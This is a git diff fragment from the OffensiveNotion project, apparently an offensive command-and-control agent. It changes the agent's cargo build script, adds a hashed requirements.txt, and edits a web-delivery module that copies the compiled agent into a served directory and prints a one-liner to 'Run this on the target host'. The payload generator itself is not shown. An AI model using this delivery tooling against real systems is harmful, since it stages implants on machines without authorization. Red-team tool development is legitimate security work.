new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_LINKER"] = "x86_64-apple-darwin14-clang" + new_env["CARGO_TARGET_X86_64_APPLE_DARWIN_AR"] = "x86_64-apple-darwin14-ar" + + # print(new_env.) + + sub.call( + [f"cargo build -Z unstable-options --out-dir /out {os_arg} {build_arg}"], shell=True, + env=new_env, + ) + + # This will make an additional target folder, so blow it away + # in the event it was on the mounted drive + rmtree("target") try: recover_config_source() - recover_dockerfile() except Exception as e: print(printError + str(e)) @@ -357,7 +282,6 @@ def main(): except KeyboardInterrupt: print(recc + 'Cleaning up and exiting...') recover_config_source() - recover_dockerfile() print(recc + "Goodbye!" + Fore.RESET) sys.exit(0) diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..daae3ca --- /dev/null +++ b/requirements.txt @@ -0,0 +1,103 @@ +certifi==2021.10.8; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" \ + --hash=sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569 \ + --hash=sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872 +charset-normalizer==2.0.10; python_full_version >= "3.6.0" and python_version >= "3" \ + --hash=sha256:876d180e9d7432c5d1dfd4c5d26b72f099d503e8fcc0feb7532c9289be60fcbd \ + --hash=sha256:cb957888737fc0bbcd78e3df769addb41fd1ff8cf950dc9e7ad7793f1bf44455 +click==8.0.3; python_version >= "3.6" \ + --hash=sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3 \ + --hash=sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b +colorama==0.4.4; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.5.0") \ + --hash=sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2 \ + --hash=sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b +flask==2.0.2; python_version >= "3.6" \ + --hash=sha256:cb90f62f1d8e4dc4621f52106613488b5ba826b2e1e10a33eac92f723093ab6a \ + --hash=sha256:7b2fb8e934ddd50731893bdcdb00fc8c0315916f9fcd50d22c7cc1a95ab634e2 +idna==3.3; python_version >= "3.5" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.5" \ + --hash=sha256:84d9dd047ffa80596e0f246e2eab0b391788b0503584e8945f2368256d2735ff \ + --hash=sha256:9d643ff0a55b762d5cdb124b8eaa99c66322e2157b69160bc32796e824360e6d +itsdangerous==2.0.1; python_version >= "3.6" \ + --hash=sha256:5174094b9637652bdb841a3029700391451bd092ba3db90600dea710ba28e97c \ + --hash=sha256:9e724d68fc22902a1435351f84c3fb8623f303fffcc566a4cb952df8c572cff0 +jinja2==3.0.3; python_version >= "3.6" \ + --hash=sha256:077ce6014f7b40d03b47d1f1ca4b0fc8328a692bd284016f806ed0eaca390ad8 \ + --hash=sha256:611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7 +markupsafe==2.0.1; python_version >= "3.6" \ + --hash=sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53 \ + --hash=sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38 \ + --hash=sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad \ + --hash=sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d \ + --hash=sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646 \ + --hash=sha256:4dc8f9fb58f7364b63fd9f85013b780ef83c11857ae79f2feda41e270468dd9b \ + --hash=sha256:20dca64a3ef2d6e4d5d615a3fd418ad3bde77a47ec8a23d984a12b5b4c74491a \ + --hash=sha256:cdfba22ea2f0029c9261a4bd07e830a8da012291fbe44dc794e488b6c9bb353a \ + --hash=sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28 \ + --hash=sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134 \ + --hash=sha256:f9081981fe268bd86831e5c75f7de206ef275defcb82bc70740ae6dc507aee51 \ + --hash=sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff \ + --hash=sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b \ + --hash=sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94 \ + --hash=sha256:fa130dd50c57d53368c9d59395cb5526eda596d3ffe36666cd81a44d56e48872 \ + --hash=sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f \ + --hash=sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c \ + --hash=sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724 \ + --hash=sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145 \ + --hash=sha256:deb993cacb280823246a026e3b2d81c493c53de6acfd5e6bfe31ab3402bb37dd \ + --hash=sha256:63f3268ba69ace99cab4e3e3b5840b03340efed0948ab8f78d2fd87ee5442a4f \ + --hash=sha256:8d206346619592c6200148b01a2142798c989edcb9c896f9ac9722a99d4e77e6 \ + --hash=sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d \ + --hash=sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9 \ + --hash=sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567 \ + --hash=sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18 \ + --hash=sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f \ + --hash=sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f \ + --hash=sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2 \ + --hash=sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d \ + --hash=sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85 \ + --hash=sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6 \ + --hash=sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864 \ + --hash=sha256:d6c7ebd4e944c85e2c3421e612a7057a2f48d478d79e61800d81468a8d842207 \ + --hash=sha256:f0567c4dc99f264f49fe27da5f735f414c4e7e7dd850cfd8e69f0862d7c74ea9 \ + --hash=sha256:89c687013cb1cd489a0f0ac24febe8c7a666e6e221b783e53ac50ebf68e45d86 \ + --hash=sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415 \ + --hash=sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914 \ + --hash=sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9 \ + --hash=sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066 \ + --hash=sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35 \ + --hash=sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b \ + --hash=sha256:01a9b8ea66f1658938f65b93a85ebe8bc016e6769611be228d797c9d998dd298 \ + --hash=sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75 \ + --hash=sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb \ + --hash=sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b \ + --hash=sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a \ + --hash=sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6 \ + --hash=sha256:aca6377c0cb8a8253e493c6b451565ac77e98c2951c45f913e0b52facdcff83f \ + --hash=sha256:04635854b943835a6ea959e948d19dcd311762c5c0c6e1f0e16ee57022669194 \ + --hash=sha256:6300b8454aa6930a24b9618fbb54b5a68135092bc666f7b06901f897fa5c2fee \ + --hash=sha256:023cb26ec21ece8dc3907c0e8320058b2e0cb3c55cf9564da612bc325bed5e64 \ + --hash=sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833 \ + --hash=sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26 \ + --hash=sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7 \ + --hash=sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8 \ + --hash=sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5 \ + --hash=sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135 \ + --hash=sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902 \ + --hash=sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509 \ + --hash=sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1 \ + --hash=sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac \ + --hash=sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6 \ + --hash=sha256:4296f2b1ce8c86a6aea78613c34bb1a672ea0e3de9c6ba08a960efe0b0a09047 \ + --hash=sha256:9f02365d4e99430a12647f09b6cc8bab61a6564363f313126f775eb4f6ef798e \ + --hash=sha256:5b6d930f030f8ed98e3e6c98ffa0652bdb82601e7a016ec2ab5d7ff23baa78d1 \ + --hash=sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74 \ + --hash=sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8 \ + --hash=sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a +requests==2.27.1; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.6.0") \ + --hash=sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d \ + --hash=sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61 +urllib3==1.26.8; python_version >= "2.7" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version < "4" \ + --hash=sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed \ + --hash=sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c +werkzeug==2.0.2; python_version >= "3.6" \ + --hash=sha256:63d3dc1cf60e7b7e35e97fa9861f7397283b75d765afcaefd993d6046899de8f \ + --hash=sha256:aa2bb6fc8dee8d6c504c0ac1e7f5f7dc5810a9903e793b6f715a9f015bdadb9a diff --git a/utils/web_delivery.py b/utils/web_delivery.py index c6657c2..3f76cbc 100644 --- a/utils/web_delivery.py +++ b/utils/web_delivery.py @@ -20,26 +20,14 @@ def randomize_str() -> str: def copy_agent(os, build, uri): - web_dir = "utils/www/{}".format(uri) + web_dir = "/OffensiveNotion/utils/www/{}".format(uri) print(info + "Copying agent") if os == "windows": - agent_path = "x86_64-pc-windows-gnu" - bin_dir_folder = "windows_" + build agent_name = "offensive_notion.exe" - elif os == "linux": - agent_path = build - bin_dir_folder = "linux_" + build - agent_name = "offensive_notion" else: - agent_path = "debug" - bin_dir_folder = "linux_debug" agent_name = "offensive_notion" - try: - if os == "windows": - shutil.move("bin/{}/{}/{}/{}".format(bin_dir_folder, agent_path, build, agent_name), web_dir) - else: - shutil.move("bin/{}/{}/{}".format(bin_dir_folder, agent_path, agent_name), web_dir) + shutil.copyfile("/out/{}".format(agent_name), web_dir) except Exception as e: print(printError + str(e)) exit(1) @@ -96,5 +84,5 @@ def main(host, port, method, os, build): uri = randomize_str() copy_agent(os, build, uri) one_liner = generate_payload(method, host, port, uri) - print("\n" + important + "Run this on the target host:\n" + Fore.YELLOW + one_liner + Fore.RESET + "\n") - app.run(host=host, port=port) + print("\n" + important + "Run this on the target host:\n" + Fore.YELLOW + one_liner + Fore.RESET + "\n") + app.run(host="0.0.0.0", port=port) diff --git a/utils/www/.gitkeep b/utils/www/.gitkeep old mode 100644 new mode 100755